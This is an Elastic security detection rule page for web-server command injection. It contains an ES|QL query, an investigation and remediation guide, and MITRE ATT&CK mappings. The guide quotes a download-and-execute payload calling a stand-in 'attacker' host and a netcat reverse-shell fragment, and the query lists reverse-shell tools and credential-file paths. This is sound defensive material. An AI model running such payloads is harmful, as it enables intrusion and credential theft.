Web Server Potential Command Injection Request
This rule detects potential command injection attempts via web server requests by identifying URLs that contain suspicious patterns commonly associated with command execution payloads. Attackers may exploit vulnerabilities in web applications to inject and execute arbitrary commands on the server, often using interpreters like Python, Perl, Ruby, PHP, or shell commands. By monitoring for these indicators in web traffic, security teams can identify and respond to potential threats early.
Elastic rule (View on GitHub)
1[metadata]
2creation_date = "2025/11/19"
3integration = ["nginx", "apache", "apache_tomcat", "iis", "traefik"]
4maturity = "production"
5updated_date = "2026/09/18"
6
7[rule]
8author = ["Elastic"]
9description = """
10This rule detects potential command injection attempts via web server requests by identifying URLs that contain
11suspicious patterns commonly associated with command execution payloads. Attackers may exploit vulnerabilities in web
12applications to inject and execute arbitrary commands on the server, often using interpreters like Python, Perl, Ruby,
13PHP, or shell commands. By monitoring for these indicators in web traffic, security teams can identify and respond to
14potential threats early.
15"""
16from = "now-11m"
17interval = "10m"
18language = "esql"
19license = "Elastic License v2"
20name = "Web Server Potential Command Injection Request"
21note = """ ## Triage and analysis
22
23> **Disclaimer**:
24> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
25
26### Investigating Web Server Potential Command Injection Request
27
28This rule flags web requests whose URLs embed command-execution payloads—interpreter flags, shell invocations, netcat reverse shells, /dev/tcp, base64, credential file paths, downloaders, and suspicious temp or cron paths. It matters because attackers use low-volume, successful (200) requests to trigger server-side command injection and gain persistence or control without obvious errors. Example: a crafted query executes bash -c 'wget http://attacker/rev.sh -O /tmp/r; chmod +x /tmp/r; /tmp/r' from the web app, yielding a 200 while dropping and running a payload.
29
30### Possible investigation steps
31
32- Pull the raw HTTP request or PCAP, repeatedly URL-decode and base64-decode parameters, and extract shell metacharacters, commands, IP:port pairs, file paths, and download URLs to infer execution intent.
33- Time-correlate the request with host telemetry for web-server-owned child processes, file writes in /tmp, /dev/shm, or web roots, cron modifications, and new outbound connections from the same host.
34- Pivot on the source IP and user-agent to find related requests across other hosts/endpoints, identify scan-to-exploit sequencing and success patterns, and enact blocking or rate limiting if malicious.
35- Map the targeted route to its backend handler and review code/config to see if user input reaches exec/system/os.popen, templating/deserialization, or shell invocations, then safely reproduce in staging to validate exploitability.
36- If the payload references external indicators, search DNS/proxy/firewall telemetry for matching egress, retrieve and analyze any downloaded artifacts, and hunt for the same indicators across the fleet.
37
38### False positive analysis
39
40- A documentation or code-rendering page that echoes command-like strings from query parameters (e.g., "bash -c", "python -c", "curl", "/etc/passwd") returns 200 while merely displaying text, so the URL contains payload keywords without any execution.
41- A low-volume developer or QA test to a sandbox route includes path or query values like "/dev/tcp/", "nc 10.0.0.1 4444", "busybox", or "chmod +x" to validate input handling, the server returns 200 and the rule triggers despite no server-side execution path consuming those parameters.
42
43### Response and remediation
44
45- Block the offending source IPs and User-Agents at the WAF/reverse proxy, add virtual patches to drop URLs containing 'bash -c', '/dev/tcp', 'base64 -d', 'curl' or 'nc', and remove the targeted route from the load balancer until verified safe.
46- Isolate the impacted host from the network (at minimum egress) if the web service spawns child processes like bash/sh/python -c, creates files in /tmp or /dev/shm, modifies /etc/cron.*, or opens outbound connections to an IP:port embedded in the request.
47- Acquire volatile memory and preserve access/error logs and any downloaded script before cleanup, then terminate malicious child processes owned by nginx/httpd/tomcat/w3wp, delete dropped artifacts (e.g., /tmp/*, /dev/shm/*, suspicious files in the webroot), and revert cron/systemd or SSH key changes.
48- Rotate credentials and tokens if /etc/passwd, /etc/shadow, or ~/.ssh paths were targeted, rebuild the host or container from a known-good image, patch the application and dependencies, and validate clean startup with outbound traffic restricted to approved destinations.
49- Immediately escalate to the incident commander and legal/privacy if remote command execution is confirmed (evidence: web-server-owned 'bash -c' or 'python -c' executed, curl/wget download-and-execute, or reverse shell to an external IP:port) or if sensitive data exposure is suspected.
50- Harden by enforcing strict input validation, disabling shell/exec functions in the runtime (e.g., PHP disable_functions and no shell-outs in templates), running under least privilege with noexec,nodev /tmp and a read-only webroot, restricting egress by policy, and deploying WAF rules and host sensors to detect these strings and cron/webshell creation.
51"""
52risk_score = 21
53rule_id = "f3ac6734-7e52-4a0d-90b7-6847bf4308f2"
54severity = "low"
55tags = [
56 "Domain: Web",
57 "Use Case: Threat Detection",
58 "Tactic: Reconnaissance",
59 "Tactic: Persistence",
60 "Tactic: Execution",
61 "Tactic: Credential Access",
62 "Tactic: Command and Control",
63 "Data Source: Nginx",
64 "Data Source: Apache",
65 "Data Source: Apache Tomcat",
66 "Data Source: IIS",
67 "Data Source: Traefik",
68 "Resources: Investigation Guide",
69 "Noise: Medium",
70 "Performance: Fast",
71 "Threat: Web Shell",
72 "Threat: Web Application Attack",
73 "Rule Type: ES|QL",
74 "Service: Nginx",
75 "Service: IIS",
76 "Service: Apache Tomcat",
77 "Service: Apache HTTP Server",
78]
79timestamp_override = "event.ingested"
80type = "esql"
81query = '''
82from logs-nginx.access-*, logs-apache.access-*, logs-apache_tomcat.access-*, logs-iis.access-*, logs-traefik.access-*
83| where
84 // Limit to 200 response code to reduce noise
85 http.response.status_code == 200
86
87| eval Esql.url_original_to_lower = to_lower(url.original)
88
89| eval Esql.contains_interpreter = case(Esql.url_original_to_lower like "*python* -c*" or Esql.url_original_to_lower like "*perl* -e*" or Esql.url_original_to_lower like "*ruby* -e*" or Esql.url_original_to_lower like "*ruby* -rsocket*" or Esql.url_original_to_lower like "*lua* -e*" or Esql.url_original_to_lower like "*php* -r*" or Esql.url_original_to_lower like "*node* -e*", 1, 0)
90| eval Esql.contains_shell = case(Esql.url_original_to_lower like "*/bin/bash*" or Esql.url_original_to_lower like "*bash*-c*" or Esql.url_original_to_lower like "*/bin/sh*" or Esql.url_original_to_lower rlike "*sh.{1,2}-c*", 1, 0)
91| eval Esql.contains_nc = case(Esql.url_original_to_lower like "*netcat*" or Esql.url_original_to_lower like "*ncat*" or Esql.url_original_to_lower rlike """.*nc.{1,2}[0-9]{1,3}(\.[0-9]{1,3}){3}.{1,2}[0-9]{1,5}.*""" or Esql.url_original_to_lower like "*nc.openbsd*" or Esql.url_original_to_lower like "*nc.traditional*" or Esql.url_original_to_lower like "*socat*", 1, 0)
92| eval Esql.contains_devtcp = case(Esql.url_original_to_lower like "*/dev/tcp/*" or Esql.url_original_to_lower like "*/dev/udp/*", 1, 0)
93| eval Esql.contains_helpers = case((Esql.url_original_to_lower like "*/bin/*" or Esql.url_original_to_lower like "*/usr/bin/*") and (Esql.url_original_to_lower like "*mkfifo*" or Esql.url_original_to_lower like "*nohup*" or Esql.url_original_to_lower like "*setsid*" or Esql.url_original_to_lower like "*busybox*"), 1, 0)
94| eval Esql.contains_sus_cli = case(Esql.url_original_to_lower like "*import*pty*spawn*" or Esql.url_original_to_lower like "*import*subprocess*call*" or Esql.url_original_to_lower like "*tcpsocket.new*" or Esql.url_original_to_lower like "*tcpsocket.open*" or Esql.url_original_to_lower like "*io.popen*" or Esql.url_original_to_lower like "*os.execute*" or Esql.url_original_to_lower like "*fsockopen*", 1, 0)
95| eval Esql.contains_privileges = case(Esql.url_original_to_lower like "*chmod*+x", 1, 0)
96| eval Esql.contains_downloader = case(Esql.url_original_to_lower like "*curl *" or Esql.url_original_to_lower like "*wget *" , 1, 0)
97| eval Esql.contains_file_read_keywords = case(Esql.url_original_to_lower like "*/etc/shadow*" or Esql.url_original_to_lower like "*/etc/passwd*" or Esql.url_original_to_lower like "*/root/.ssh/*" or Esql.url_original_to_lower like "*/home/*/.ssh/*" or Esql.url_original_to_lower like "*~/.ssh/*" or Esql.url_original_to_lower like "*/proc/self/environ*", 1, 0)
98| eval Esql.contains_base64_cmd = case(Esql.url_original_to_lower like "*base64*-d*" or Esql.url_original_to_lower like "*echo*|*base64*", 1, 0)
99| eval Esql.contains_suspicious_path = case(Esql.url_original_to_lower like "*/tmp/*" or Esql.url_original_to_lower like "*/var/tmp/*" or Esql.url_original_to_lower like "*/dev/shm/*" or Esql.url_original_to_lower like "*/root/*" or Esql.url_original_to_lower like "*/home/*/*" or Esql.url_original_to_lower like "*/var/www/*" or Esql.url_original_to_lower like "*/etc/cron.*/*", 1, 0)
100
101| eval Esql.any_payload_keyword = case(
102 Esql.contains_interpreter == 1 or Esql.contains_shell == 1 or Esql.contains_nc == 1 or Esql.contains_devtcp == 1 or
103 Esql.contains_helpers == 1 or Esql.contains_sus_cli == 1 or Esql.contains_privileges == 1 or Esql.contains_downloader == 1 or
104 Esql.contains_file_read_keywords == 1 or Esql.contains_base64_cmd == 1 or Esql.contains_suspicious_path == 1, 1, 0)
105
106| keep
107 @timestamp,
108 Esql.url_original_to_lower,
109 Esql.any_payload_keyword,
110 Esql.contains_interpreter,
111 Esql.contains_shell,
112 Esql.contains_nc,
113 Esql.contains_devtcp,
114 Esql.contains_helpers,
115 Esql.contains_sus_cli,
116 Esql.contains_privileges,
117 Esql.contains_downloader,
118 Esql.contains_file_read_keywords,
119 Esql.contains_base64_cmd,
120 Esql.contains_suspicious_path,
121 source.ip,
122 destination.ip,
123 agent.id,
124 http.request.method,
125 http.response.status_code,
126 user_agent.original,
127 agent.name,
128 data_stream.dataset,
129 data_stream.namespace
130
131| stats
132 Esql.event_count = count(),
133 Esql.url_path_count_distinct = count_distinct(Esql.url_original_to_lower),
134
135 // General fields
136
137 Esql.agent_name_values = values(agent.name),
138 Esql.agent_id_values = values(agent.id),
139 Esql.url_path_values = values(Esql.url_original_to_lower),
140 Esql.http.response.status_code_values = values(http.response.status_code),
141 Esql.user_agent_original_values = values(user_agent.original),
142 Esql.data_stream_dataset_values = values(data_stream.dataset),
143 Esql.data_stream_namespace_values = values(data_stream.namespace),
144
145 // Rule Specific fields
146 Esql.any_payload_keyword_max = max(Esql.any_payload_keyword),
147 Esql.contains_interpreter_values = values(Esql.contains_interpreter),
148 Esql.contains_shell_values = values(Esql.contains_shell),
149 Esql.contains_nc_values = values(Esql.contains_nc),
150 Esql.contains_devtcp_values = values(Esql.contains_devtcp),
151 Esql.contains_helpers_values = values(Esql.contains_helpers),
152 Esql.contains_sus_cli_values = values(Esql.contains_sus_cli),
153 Esql.contains_privileges_values = values(Esql.contains_privileges),
154 Esql.contains_downloader_values = values(Esql.contains_downloader),
155 Esql.contains_file_read_keywords_values = values(Esql.contains_file_read_keywords),
156 Esql.contains_base64_cmd_values = values(Esql.contains_base64_cmd),
157 Esql.contains_suspicious_path_values = values(Esql.contains_suspicious_path)
158
159 by source.ip, agent.id
160
161| where
162 // Filter for potential command injection attempts with low event counts to reduce false positives
163 Esql.any_payload_keyword_max == 1 and Esql.event_count < 5
164'''
165
166[[rule.threat]]
167framework = "MITRE ATT&CK"
168
169[[rule.threat.technique]]
170id = "T1505"
171name = "Server Software Component"
172reference = "https://attack.mitre.org/techniques/T1505/"
173
174[[rule.threat.technique.subtechnique]]
175id = "T1505.003"
176name = "Web Shell"
177reference = "https://attack.mitre.org/techniques/T1505/003/"
178
179[rule.threat.tactic]
180id = "TA0003"
181name = "Persistence"
182reference = "https://attack.mitre.org/tactics/TA0003/"
183
184[[rule.threat]]
185framework = "MITRE ATT&CK"
186
187[[rule.threat.technique]]
188id = "T1059"
189name = "Command and Scripting Interpreter"
190reference = "https://attack.mitre.org/techniques/T1059/"
191
192[[rule.threat.technique.subtechnique]]
193id = "T1059.004"
194name = "Unix Shell"
195reference = "https://attack.mitre.org/techniques/T1059/004/"
196
197[[rule.threat.technique.subtechnique]]
198id = "T1059.006"
199name = "Python"
200reference = "https://attack.mitre.org/techniques/T1059/006/"
201
202[[rule.threat.technique.subtechnique]]
203id = "T1059.011"
204name = "Lua"
205reference = "https://attack.mitre.org/techniques/T1059/011/"
206
207[rule.threat.tactic]
208id = "TA0002"
209name = "Execution"
210reference = "https://attack.mitre.org/tactics/TA0002/"
211
212[[rule.threat]]
213framework = "MITRE ATT&CK"
214
215[[rule.threat.technique]]
216id = "T1071"
217name = "Application Layer Protocol"
218reference = "https://attack.mitre.org/techniques/T1071/"
219
220[[rule.threat.technique]]
221id = "T1105"
222name = "Ingress Tool Transfer"
223reference = "https://attack.mitre.org/techniques/T1105/"
224
225[rule.threat.tactic]
226id = "TA0011"
227name = "Command and Control"
228reference = "https://attack.mitre.org/tactics/TA0011/"
229
230[[rule.threat]]
231framework = "MITRE ATT&CK"
232
233[[rule.threat.technique]]
234id = "T1595"
235name = "Active Scanning"
236reference = "https://attack.mitre.org/techniques/T1595/"
237
238[[rule.threat.technique.subtechnique]]
239id = "T1595.002"
240name = "Vulnerability Scanning"
241reference = "https://attack.mitre.org/techniques/T1595/002/"
242
243[[rule.threat.technique.subtechnique]]
244id = "T1595.003"
245name = "Wordlist Scanning"
246reference = "https://attack.mitre.org/techniques/T1595/003/"
247
248[rule.threat.tactic]
249id = "TA0043"
250name = "Reconnaissance"
251reference = "https://attack.mitre.org/tactics/TA0043/"
252
253[[rule.threat]]
254framework = "MITRE ATT&CK"
255
256[[rule.threat.technique]]
257id = "T1003"
258name = "OS Credential Dumping"
259reference = "https://attack.mitre.org/techniques/T1003/"
260
261[[rule.threat.technique.subtechnique]]
262id = "T1003.008"
263name = "/etc/passwd and /etc/shadow"
264reference = "https://attack.mitre.org/techniques/T1003/008/"
265
266[[rule.threat.technique]]
267id = "T1552"
268name = "Unsecured Credentials"
269reference = "https://attack.mitre.org/techniques/T1552/"
270
271[[rule.threat.technique.subtechnique]]
272id = "T1552.001"
273name = "Credentials In Files"
274reference = "https://attack.mitre.org/techniques/T1552/001/"
275
276[rule.threat.tactic]
277id = "TA0006"
278name = "Credential Access"
279reference = "https://attack.mitre.org/tactics/TA0006/"
280
281[[rule.threat]]
282framework = "MITRE ATT&CK"
283
284[[rule.threat.technique]]
285id = "T1140"
286name = "Deobfuscate/Decode Files or Information"
287reference = "https://attack.mitre.org/techniques/T1140/"
288
289[rule.threat.tactic]
290id = "TA0005"
291name = "Defense Evasion"
292reference = "https://attack.mitre.org/tactics/TA0005/"
293
294[[rule.threat]]
295framework = "MITRE ATT&CK"
296
297[[rule.threat.technique]]
298id = "T1190"
299name = "Exploit Public-Facing Application"
300reference = "https://attack.mitre.org/techniques/T1190/"
301
302[rule.threat.tactic]
303id = "TA0001"
304name = "Initial Access"
305reference = "https://attack.mitre.org/tactics/TA0001/"
Triage and analysis
Disclaimer: This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
Investigating Web Server Potential Command Injection Request
This rule flags web requests whose URLs embed command-execution payloads—interpreter flags, shell invocations, netcat reverse shells, /dev/tcp, base64, credential file paths, downloaders, and suspicious temp or cron paths. It matters because attackers use low-volume, successful (200) requests to trigger server-side command injection and gain persistence or control without obvious errors. Example: a crafted query executes bash -c 'wget http://attacker/rev.sh -O /tmp/r; chmod +x /tmp/r; /tmp/r' from the web app, yielding a 200 while dropping and running a payload.
Possible investigation steps
- Pull the raw HTTP request or PCAP, repeatedly URL-decode and base64-decode parameters, and extract shell metacharacters, commands, IP:port pairs, file paths, and download URLs to infer execution intent.
- Time-correlate the request with host telemetry for web-server-owned child processes, file writes in /tmp, /dev/shm, or web roots, cron modifications, and new outbound connections from the same host.
- Pivot on the source IP and user-agent to find related requests across other hosts/endpoints, identify scan-to-exploit sequencing and success patterns, and enact blocking or rate limiting if malicious.
- Map the targeted route to its backend handler and review code/config to see if user input reaches exec/system/os.popen, templating/deserialization, or shell invocations, then safely reproduce in staging to validate exploitability.
- If the payload references external indicators, search DNS/proxy/firewall telemetry for matching egress, retrieve and analyze any downloaded artifacts, and hunt for the same indicators across the fleet.
False positive analysis
- A documentation or code-rendering page that echoes command-like strings from query parameters (e.g., "bash -c", "python -c", "curl", "/etc/passwd") returns 200 while merely displaying text, so the URL contains payload keywords without any execution.
- A low-volume developer or QA test to a sandbox route includes path or query values like "/dev/tcp/", "nc 10.0.0.1 4444", "busybox", or "chmod +x" to validate input handling, the server returns 200 and the rule triggers despite no server-side execution path consuming those parameters.
Response and remediation
- Block the offending source IPs and User-Agents at the WAF/reverse proxy, add virtual patches to drop URLs containing 'bash -c', '/dev/tcp', 'base64 -d', 'curl' or 'nc', and remove the targeted route from the load balancer until verified safe.
- Isolate the impacted host from the network (at minimum egress) if the web service spawns child processes like bash/sh/python -c, creates files in /tmp or /dev/shm, modifies /etc/cron.*, or opens outbound connections to an IP:port embedded in the request.
- Acquire volatile memory and preserve access/error logs and any downloaded script before cleanup, then terminate malicious child processes owned by nginx/httpd/tomcat/w3wp, delete dropped artifacts (e.g., /tmp/, /dev/shm/, suspicious files in the webroot), and revert cron/systemd or SSH key changes.
- Rotate credentials and tokens if /etc/passwd, /etc/shadow, or ~/.ssh paths were targeted, rebuild the host or container from a known-good image, patch the application and dependencies, and validate clean startup with outbound traffic restricted to approved destinations.
- Immediately escalate to the incident commander and legal/privacy if remote command execution is confirmed (evidence: web-server-owned 'bash -c' or 'python -c' executed, curl/wget download-and-execute, or reverse shell to an external IP:port) or if sensitive data exposure is suspected.
- Harden by enforcing strict input validation, disabling shell/exec functions in the runtime (e.g., PHP disable_functions and no shell-outs in templates), running under least privilege with noexec,nodev /tmp and a read-only webroot, restricting egress by policy, and deploying WAF rules and host sensors to detect these strings and cron/webshell creation.
Related rules
- Web Server Potential SQL Injection Request
- Web Server Suspicious User Agent Requests
- Web Server Discovery or Fuzzing Activity
- Web Server Local File Inclusion Activity
- Web Server Potential Remote File Inclusion Activity